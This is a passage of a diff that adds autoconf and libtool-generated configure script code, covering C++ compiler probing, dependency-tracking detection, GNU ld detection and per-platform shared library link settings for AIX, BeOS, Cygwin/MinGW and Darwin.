+  if test "$GXX" = yes; then
+    CXXFLAGS="-g -O2"
+  else
+    CXXFLAGS="-g"
+  fi
+else
+  if test "$GXX" = yes; then
+    CXXFLAGS="-O2"
+  else
+    CXXFLAGS=
+  fi
+fi
+for ac_declaration in \
+   '' \
+   'extern "C" void std::exit (int) throw (); using std::exit;' \
+   'extern "C" void std::exit (int); using std::exit;' \
+   'extern "C" void exit (int) throw ();' \
+   'extern "C" void exit (int);' \
+   'void exit (int);'
+do
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_declaration
+#include <stdlib.h>
+int
+main ()
+{
+exit (42);
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_cxx_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  :
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+continue
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_declaration
+int
+main ()
+{
+exit (42);
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_cxx_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  break
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+done
+rm -f conftest*
+if test -n "$ac_declaration"; then
+  echo '#ifdef __cplusplus' >>confdefs.h
+  echo $ac_declaration      >>confdefs.h
+  echo '#endif'             >>confdefs.h
+fi
+
+ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+
+depcc="$CXX"  am_compiler_list=
+
+echo "$as_me:$LINENO: checking dependency style of $depcc" >&5
+echo $ECHO_N "checking dependency style of $depcc... $ECHO_C" >&6
+if test "${am_cv_CXX_dependencies_compiler_type+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -z "$AMDEP_TRUE" && test -f "$am_depcomp"; then
+  # We make a subdir and do the tests there.  Otherwise we can end up
+  # making bogus files that we don't know about and never remove.  For
+  # instance it was reported that on HP-UX the gcc test will end up
+  # making a dummy file named `D' -- because `-MD' means `put the output
+  # in D'.
+  mkdir conftest.dir
+  # Copy depcomp to subdir because otherwise we won't find it if we're
+  # using a relative directory.
+  cp "$am_depcomp" conftest.dir
+  cd conftest.dir
+  # We will build objects and dependencies in a subdirectory because
+  # it helps to detect inapplicable dependency modes.  For instance
+  # both Tru64's cc and ICC support -MD to output dependencies as a
+  # side effect of compilation, but ICC will put the dependencies in
+  # the current directory while Tru64 will put them in the object
+  # directory.
+  mkdir sub
+
+  am_cv_CXX_dependencies_compiler_type=none
+  if test "$am_compiler_list" = ""; then
+     am_compiler_list=`sed -n 's/^#*\([a-zA-Z0-9]*\))$/\1/p' < ./depcomp`
+  fi
+  for depmode in $am_compiler_list; do
+    # Setup a source with many dependencies, because some compilers
+    # like to wrap large dependency lists on column 80 (with \), and
+    # we should not choose a depcomp mode which is confused by this.
+    #
+    # We need to recreate these files for each test, as the compiler may
+    # overwrite some of them when testing with obscure command lines.
+    # This happens at least with the AIX C compiler.
+    : > sub/conftest.c
+    for i in 1 2 3 4 5 6; do
+      echo '#include "conftst'$i'.h"' >> sub/conftest.c
+      # Using `: > sub/conftst$i.h' creates only sub/conftst1.h with
+      # Solaris 8's {/usr,}/bin/sh.
+      touch sub/conftst$i.h
+    done
+    echo "${am__include} ${am__quote}sub/conftest.Po${am__quote}" > confmf
+
+    case $depmode in
+    nosideeffect)
+      # after this tag, mechanisms are not by side-effect, so they'll
+      # only be used when explicitly requested
+      if test "x$enable_dependency_tracking" = xyes; then
+	continue
+      else
+	break
+      fi
+      ;;
+    none) break ;;
+    esac
+    # We check with `-c' and `-o' for the sake of the "dashmstdout"
+    # mode.  It turns out that the SunPro C++ compiler does not properly
+    # handle `-M -o', and we need to detect this.
+    if depmode=$depmode \
+       source=sub/conftest.c object=sub/conftest.${OBJEXT-o} \
+       depfile=sub/conftest.Po tmpdepfile=sub/conftest.TPo \
+       $SHELL ./depcomp $depcc -c -o sub/conftest.${OBJEXT-o} sub/conftest.c \
+         >/dev/null 2>conftest.err &&
+       grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 &&
+       grep sub/conftest.${OBJEXT-o} sub/conftest.Po > /dev/null 2>&1 &&
+       ${MAKE-make} -s -f confmf > /dev/null 2>&1; then
+      # icc doesn't choke on unknown options, it will just issue warnings
+      # or remarks (even with -Werror).  So we grep stderr for any message
+      # that says an option was ignored or not supported.
+      # When given -MP, icc 7.0 and 7.1 complain thusly:
+      #   icc: Command line warning: ignoring option '-M'; no argument required
+      # The diagnosis changed in icc 8.0:
+      #   icc: Command line remark: option '-MP' not supported
+      if (grep 'ignoring option' conftest.err ||
+          grep 'not supported' conftest.err) >/dev/null 2>&1; then :; else
+        am_cv_CXX_dependencies_compiler_type=$depmode
+        break
+      fi
+    fi
+  done
+
+  cd ..
+  rm -rf conftest.dir
+else
+  am_cv_CXX_dependencies_compiler_type=none
+fi
+
+fi
+echo "$as_me:$LINENO: result: $am_cv_CXX_dependencies_compiler_type" >&5
+echo "${ECHO_T}$am_cv_CXX_dependencies_compiler_type" >&6
+CXXDEPMODE=depmode=$am_cv_CXX_dependencies_compiler_type
+
+
+
+if
+  test "x$enable_dependency_tracking" != xno \
+  && test "$am_cv_CXX_dependencies_compiler_type" = gcc3; then
+  am__fastdepCXX_TRUE=
+  am__fastdepCXX_FALSE='#'
+else
+  am__fastdepCXX_TRUE='#'
+  am__fastdepCXX_FALSE=
+fi
+
+
+ac_ext=cc
+ac_cpp='$CXXCPP $CPPFLAGS'
+ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_cxx_compiler_gnu
+
+archive_cmds_need_lc_CXX=no
+allow_undefined_flag_CXX=
+always_export_symbols_CXX=no
+archive_expsym_cmds_CXX=
+export_dynamic_flag_spec_CXX=
+hardcode_direct_CXX=no
+hardcode_libdir_flag_spec_CXX=
+hardcode_libdir_flag_spec_ld_CXX=
+hardcode_libdir_separator_CXX=
+hardcode_minus_L_CXX=no
+hardcode_shlibpath_var_CXX=unsupported
+hardcode_automatic_CXX=no
+inherit_rpath_CXX=no
+module_cmds_CXX=
+module_expsym_cmds_CXX=
+link_all_deplibs_CXX=unknown
+old_archive_cmds_CXX=$old_archive_cmds
+no_undefined_flag_CXX=
+whole_archive_flag_spec_CXX=
+enable_shared_with_static_runtimes_CXX=no
+
+# Source file extension for C++ test sources.
+ac_ext=cpp
+
+# Object file extension for compiled C++ test sources.
+objext=o
+objext_CXX=$objext
+
+# No sense in running all these tests if we already determined that
+# the CXX compiler isn't working.  Some variables (like enable_shared)
+# are currently assumed to apply to all compilers on this platform,
+# and will be corrupted by setting them based on a non-working compiler.
+if test "$_lt_caught_CXX_error" != yes; then
+  # Code to be used in simple compile tests
+  lt_simple_compile_test_code="int some_variable = 0;\n"
+
+  # Code to be used in simple link tests
+  lt_simple_link_test_code='int main(int, char *[]) { return(0); }\n'
+
+  # ltmain only uses $CC for tagged configurations so make sure $CC is set.
+
+
+
+
+
+
+# If no C compiler was specified, use CC.
+LTCC=${LTCC-"$CC"}
+
+# If no C compiler flags were specified, use CFLAGS.
+LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
+
+# Allow CC to be a program name with arguments.
+compiler=$CC
+
+
+  # save warnings/boilerplate of simple test code
+  ac_outfile=conftest.$ac_objext
+printf "$lt_simple_compile_test_code" >conftest.$ac_ext
+eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
+_lt_compiler_boilerplate=`cat conftest.err`
+$RM conftest*
+
+  ac_outfile=conftest.$ac_objext
+printf "$lt_simple_link_test_code" >conftest.$ac_ext
+eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
+_lt_linker_boilerplate=`cat conftest.err`
+$RM conftest*
+
+
+  # Allow CC to be a program name with arguments.
+  lt_save_CC=$CC
+  lt_save_LD=$LD
+  lt_save_GCC=$GCC
+  GCC=$GXX
+  lt_save_with_gnu_ld=$with_gnu_ld
+  lt_save_path_LD=$lt_cv_path_LD
+  if test -n "${lt_cv_prog_gnu_ldcxx+set}"; then
+    lt_cv_prog_gnu_ld=$lt_cv_prog_gnu_ldcxx
+  else
+    $as_unset lt_cv_prog_gnu_ld
+  fi
+  if test -n "${lt_cv_path_LDCXX+set}"; then
+    lt_cv_path_LD=$lt_cv_path_LDCXX
+  else
+    $as_unset lt_cv_path_LD
+  fi
+  test -z "${LDCXX+set}" || LD=$LDCXX
+  CC=${CXX-"c++"}
+  compiler=$CC
+  compiler_CXX=$CC
+  for cc_temp in $compiler""; do
+  case $cc_temp in
+    compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
+    distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
+    \-*) ;;
+    *) break;;
+  esac
+done
+cc_basename=`$ECHO "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
+
+
+  if test -n "$compiler"; then
+    # We don't want -fno-exception when compiling C++ code, so set the
+    # no_builtin_flag separately
+    if test "$GXX" = yes; then
+      lt_prog_compiler_no_builtin_flag_CXX=' -fno-builtin'
+    else
+      lt_prog_compiler_no_builtin_flag_CXX=
+    fi
+
+    if test "$GXX" = yes; then
+      # Set up default GNU C++ configuration
+
+
+
+# Check whether --with-gnu-ld or --without-gnu-ld was given.
+if test "${with_gnu_ld+set}" = set; then
+  withval="$with_gnu_ld"
+  test "$withval" = no || with_gnu_ld=yes
+else
+  with_gnu_ld=no
+fi;
+ac_prog=ld
+if test "$GCC" = yes; then
+  # Check if gcc -print-prog-name=ld gives a path.
+  echo "$as_me:$LINENO: checking for ld used by $CC" >&5
+echo $ECHO_N "checking for ld used by $CC... $ECHO_C" >&6
+  case $host in
+  *-*-mingw*)
+    # gcc leaves a trailing carriage return which upsets mingw
+    ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;;
+  *)
+    ac_prog=`($CC -print-prog-name=ld) 2>&5` ;;
+  esac
+  case $ac_prog in
+    # Accept absolute paths.
+    [\\/]* | ?:[\\/]*)
+      re_direlt='/[^/][^/]*/\.\./'
+      # Canonicalize the pathname of ld
+      ac_prog=`$ECHO "$ac_prog"| $SED 's%\\\\%/%g'`
+      while $ECHO "$ac_prog" | $GREP "$re_direlt" > /dev/null 2>&1; do
+	ac_prog=`$ECHO $ac_prog| $SED "s%$re_direlt%/%"`
+      done
+      test -z "$LD" && LD="$ac_prog"
+      ;;
+  "")
+    # If it fails, then pretend we aren't using GCC.
+    ac_prog=ld
+    ;;
+  *)
+    # If it is relative, then search for the first ld in PATH.
+    with_gnu_ld=unknown
+    ;;
+  esac
+elif test "$with_gnu_ld" = yes; then
+  echo "$as_me:$LINENO: checking for GNU ld" >&5
+echo $ECHO_N "checking for GNU ld... $ECHO_C" >&6
+else
+  echo "$as_me:$LINENO: checking for non-GNU ld" >&5
+echo $ECHO_N "checking for non-GNU ld... $ECHO_C" >&6
+fi
+if test "${lt_cv_path_LD+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -z "$LD"; then
+  lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
+  for ac_dir in $PATH; do
+    IFS="$lt_save_ifs"
+    test -z "$ac_dir" && ac_dir=.
+    if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then
+      lt_cv_path_LD="$ac_dir/$ac_prog"
+      # Check to see if the program is GNU ld.  I'd rather use --version,
+      # but apparently some variants of GNU ld only accept -v.
+      # Break only if it was the GNU/non-GNU ld that we prefer.
+      case `"$lt_cv_path_LD" -v 2>&1 </dev/null` in
+      *GNU* | *'with BFD'*)
+	test "$with_gnu_ld" != no && break
+	;;
+      *)
+	test "$with_gnu_ld" != yes && break
+	;;
+      esac
+    fi
+  done
+  IFS="$lt_save_ifs"
+else
+  lt_cv_path_LD="$LD" # Let the user override the test with a path.
+fi
+fi
+
+LD="$lt_cv_path_LD"
+if test -n "$LD"; then
+  echo "$as_me:$LINENO: result: $LD" >&5
+echo "${ECHO_T}$LD" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+test -z "$LD" && { { echo "$as_me:$LINENO: error: no acceptable ld found in \$PATH" >&5
+echo "$as_me: error: no acceptable ld found in \$PATH" >&2;}
+   { (exit 1); exit 1; }; }
+echo "$as_me:$LINENO: checking if the linker ($LD) is GNU ld" >&5
+echo $ECHO_N "checking if the linker ($LD) is GNU ld... $ECHO_C" >&6
+if test "${lt_cv_prog_gnu_ld+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  # I'd rather use --version here, but apparently some GNU lds only accept -v.
+case `$LD -v 2>&1 </dev/null` in
+*GNU* | *'with BFD'*)
+  lt_cv_prog_gnu_ld=yes
+  ;;
+*)
+  lt_cv_prog_gnu_ld=no
+  ;;
+esac
+fi
+echo "$as_me:$LINENO: result: $lt_cv_prog_gnu_ld" >&5
+echo "${ECHO_T}$lt_cv_prog_gnu_ld" >&6
+with_gnu_ld=$lt_cv_prog_gnu_ld
+
+
+
+
+
+
+
+      # Check if GNU C++ uses GNU ld as the underlying linker, since the
+      # archiving commands below assume that GNU ld is being used.
+      if test "$with_gnu_ld" = yes; then
+        archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
+        archive_expsym_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+
+        hardcode_libdir_flag_spec_CXX='${wl}-rpath ${wl}$libdir'
+        export_dynamic_flag_spec_CXX='${wl}--export-dynamic'
+
+        # If archive_cmds runs LD, not CC, wlarc should be empty
+        # XXX I think wlarc can be eliminated in ltcf-cxx, but I need to
+        #     investigate it a little bit more. (MM)
+        wlarc='${wl}'
+
+        # ancient GNU ld didn't support --whole-archive et. al.
+        if eval "`$CC -print-prog-name=ld` --help 2>&1" |
+  	  $GREP 'no-whole-archive' > /dev/null; then
+          whole_archive_flag_spec_CXX="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
+        else
+          whole_archive_flag_spec_CXX=
+        fi
+      else
+        with_gnu_ld=no
+        wlarc=
+
+        # A generic and very simple default shared library creation
+        # command for GNU C++ for the case where it uses the native
+        # linker, instead of GNU ld.  If possible, this setting should
+        # overridden to take advantage of the native linker features on
+        # the platform it is being used on.
+        archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib'
+      fi
+
+      # Commands to make compiler produce verbose output that lists
+      # what "hidden" libraries, object files and flags are used when
+      # linking a shared library.
+      output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP "\-L"'
+
+    else
+      GXX=no
+      with_gnu_ld=no
+      wlarc=
+    fi
+
+    # PORTME: fill in a description of your system's C++ link characteristics
+    echo "$as_me:$LINENO: checking whether the $compiler linker ($LD) supports shared libraries" >&5
+echo $ECHO_N "checking whether the $compiler linker ($LD) supports shared libraries... $ECHO_C" >&6
+    ld_shlibs_CXX=yes
+    case $host_os in
+      aix3*)
+        # FIXME: insert proper C++ library support
+        ld_shlibs_CXX=no
+        ;;
+      aix4* | aix5*)
+        if test "$host_cpu" = ia64; then
+          # On IA64, the linker does run time linking by default, so we don't
+          # have to do anything special.
+          aix_use_runtimelinking=no
+          exp_sym_flag='-Bexport'
+          no_entry_flag=""
+        else
+          aix_use_runtimelinking=no
+
+          # Test if we are trying to use run time linking or normal
+          # AIX style linking. If -brtl is somewhere in LDFLAGS, we
+          # need to do runtime linking.
+          case $host_os in aix4.[23]|aix4.[23].*|aix5*)
+  	    for ld_flag in $LDFLAGS; do
+  	      case $ld_flag in
+  	      *-brtl*)
+  	        aix_use_runtimelinking=yes
+  	        break
+  	        ;;
+  	      esac
+  	    done
+	    ;;
+          esac
+
+          exp_sym_flag='-bexport'
+          no_entry_flag='-bnoentry'
+        fi
+
+        # When large executables or shared objects are built, AIX ld can
+        # have problems creating the table of contents.  If linking a library
+        # or program results in "error TOC overflow" add -mminimal-toc to
+        # CXXFLAGS/CFLAGS for g++/gcc.  In the cases where that is not
+        # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
+
+        archive_cmds_CXX=''
+        hardcode_direct_CXX=yes
+        hardcode_libdir_separator_CXX=':'
+        link_all_deplibs_CXX=yes
+        file_list_spec_CXX='${wl}-f,'
+
+        if test "$GXX" = yes; then
+          case $host_os in aix4.[012]|aix4.[012].*)
+          # We only want to do this on AIX 4.2 and lower, the check
+          # below for broken collect2 doesn't work under 4.3+
+  	  collect2name=`${CC} -print-prog-name=collect2`
+  	  if test -f "$collect2name" &&
+  	     strings "$collect2name" | $GREP resolve_lib_name >/dev/null
+  	  then
+  	    # We have reworked collect2
+  	    hardcode_direct_CXX=yes
+  	  else
+  	    # We have old collect2
+  	    hardcode_direct_CXX=unsupported
+  	    # It fails to find uninstalled libraries when the uninstalled
+  	    # path is not listed in the libpath.  Setting hardcode_minus_L
+  	    # to unsupported forces relinking
+  	    hardcode_minus_L_CXX=yes
+  	    hardcode_libdir_flag_spec_CXX='-L$libdir'
+  	    hardcode_libdir_separator_CXX=
+  	  fi
+          esac
+          shared_flag='-shared'
+	  if test "$aix_use_runtimelinking" = yes; then
+	    shared_flag="$shared_flag "'${wl}-G'
+	  fi
+        else
+          # not using gcc
+          if test "$host_cpu" = ia64; then
+  	  # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release
+  	  # chokes on -Wl,-G. The following line is correct:
+  	  shared_flag='-G'
+          else
+  	    if test "$aix_use_runtimelinking" = yes; then
+  	      shared_flag='${wl}-G'
+  	    else
+  	      shared_flag='${wl}-bM:SRE'
+  	    fi
+          fi
+        fi
+
+        # It seems that -bexpall does not export symbols beginning with
+        # underscore (_), so it is better to generate a list of symbols to
+	# export.
+        always_export_symbols_CXX=yes
+        if test "$aix_use_runtimelinking" = yes; then
+          # Warning - without using the other runtime loading flags (-brtl),
+          # -berok will link without error, but may produce a broken library.
+          allow_undefined_flag_CXX='-berok'
+          # Determine the default libpath from the value encoded in an empty
+          # executable.
+          cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+int
+main ()
+{
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_cxx_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+
+lt_aix_libpath_sed='
+    /Import File Strings/,/^$/ {
+	/^0/ {
+	    s/^0  *\(.*\)$/\1/
+	    p
+	}
+    }'
+aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+# Check for a 64-bit object if we didn't find anything.
+if test -z "$aix_libpath"; then
+  aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+fi
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+          hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath"
+
+          archive_expsym_cmds_CXX='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then $ECHO "X${wl}${allow_undefined_flag}" | $Xsed; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+        else
+          if test "$host_cpu" = ia64; then
+  	    hardcode_libdir_flag_spec_CXX='${wl}-R $libdir:/usr/lib:/lib'
+  	    allow_undefined_flag_CXX="-z nodefs"
+  	    archive_expsym_cmds_CXX="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
+          else
+  	    # Determine the default libpath from the value encoded in an
+  	    # empty executable.
+  	    cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+int
+main ()
+{
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_cxx_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+
+lt_aix_libpath_sed='
+    /Import File Strings/,/^$/ {
+	/^0/ {
+	    s/^0  *\(.*\)$/\1/
+	    p
+	}
+    }'
+aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+# Check for a 64-bit object if we didn't find anything.
+if test -z "$aix_libpath"; then
+  aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+fi
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+  	    hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath"
+  	    # Warning - without using the other run time loading flags,
+  	    # -berok will link without error, but may produce a broken library.
+  	    no_undefined_flag_CXX=' ${wl}-bernotok'
+  	    allow_undefined_flag_CXX=' ${wl}-berok'
+  	    # Exported symbols can be pulled into shared objects from archives
+  	    whole_archive_flag_spec_CXX='$convenience'
+  	    archive_cmds_need_lc_CXX=yes
+  	    # This is similar to how AIX traditionally builds its shared
+	    # libraries.
+  	    archive_expsym_cmds_CXX="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
+          fi
+        fi
+        ;;
+
+      beos*)
+	if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+	  allow_undefined_flag_CXX=unsupported
+	  # Joseph Beckenbach <jrb3@best.com> says some releases of gcc
+	  # support --undefined.  This deserves some investigation.  FIXME
+	  archive_cmds_CXX='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+	else
+	  ld_shlibs_CXX=no
+	fi
+	;;
+
+      chorus*)
+        case $cc_basename in
+          *)
+  	  # FIXME: insert proper C++ library support
+  	  ld_shlibs_CXX=no
+  	  ;;
+        esac
+        ;;
+
+      cygwin* | mingw* | pw32*)
+        # _LT_TAGVAR(hardcode_libdir_flag_spec, CXX) is actually meaningless,
+        # as there is no search path for DLLs.
+        hardcode_libdir_flag_spec_CXX='-L$libdir'
+        allow_undefined_flag_CXX=unsupported
+        always_export_symbols_CXX=no
+        enable_shared_with_static_runtimes_CXX=yes
+
+        if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+          archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+          # If the export-symbols file already is a .def file (1st line
+          # is EXPORTS), use it as is; otherwise, prepend...
+          archive_expsym_cmds_CXX='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
+  	    cp $export_symbols $output_objdir/$soname.def;
+          else
+  	    echo EXPORTS > $output_objdir/$soname.def;
+  	    cat $export_symbols >> $output_objdir/$soname.def;
+          fi~
+          $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+        else
+          ld_shlibs_CXX=no
+        fi
+        ;;
+      darwin* | rhapsody*)
+	case $host_os in
+	  rhapsody* | darwin1.[012])
+	    allow_undefined_flag_CXX='${wl}-undefined ${wl}suppress'
+	    ;;
+	  *) # Darwin 1.3 on
+	    case ${MACOSX_DEPLOYMENT_TARGET-10.0} in
+	      10.[012])
+		allow_undefined_flag_CXX='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
+		;;
+	      10.*)
+		allow_undefined_flag_CXX='${wl}-undefined ${wl}dynamic_lookup'
+		;;
+	    esac
+	    ;;
+	esac
+	archive_cmds_need_lc_CXX=no
+	hardcode_direct_CXX=no
+	hardcode_automatic_CXX=yes
+	hardcode_shlibpath_var_CXX=unsupported
+	whole_archive_flag_spec_CXX=''
+	link_all_deplibs_CXX=yes
+
+	if test "$GXX" = yes ; then
+	  if test "${lt_cv_apple_cc_single_mod+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  lt_cv_apple_cc_single_mod=no
+	  if test -z "${LT_MULTI_MODULE}"; then
+	    # By default we will add the -single_module flag. You can override
+	    # by either setting the environment variable LT_MULTI_MODULE
+	    # non-empty at configure time, or by adding -multi-module to the
+	    # link flags.
+	    echo "int foo(void){return 1;}" > conftest.c
+	    $LTCC $LTCFLAGS $LDFLAGS -o libconftest.dylib \
+		-dynamiclib ${wl}-single_module conftest.c
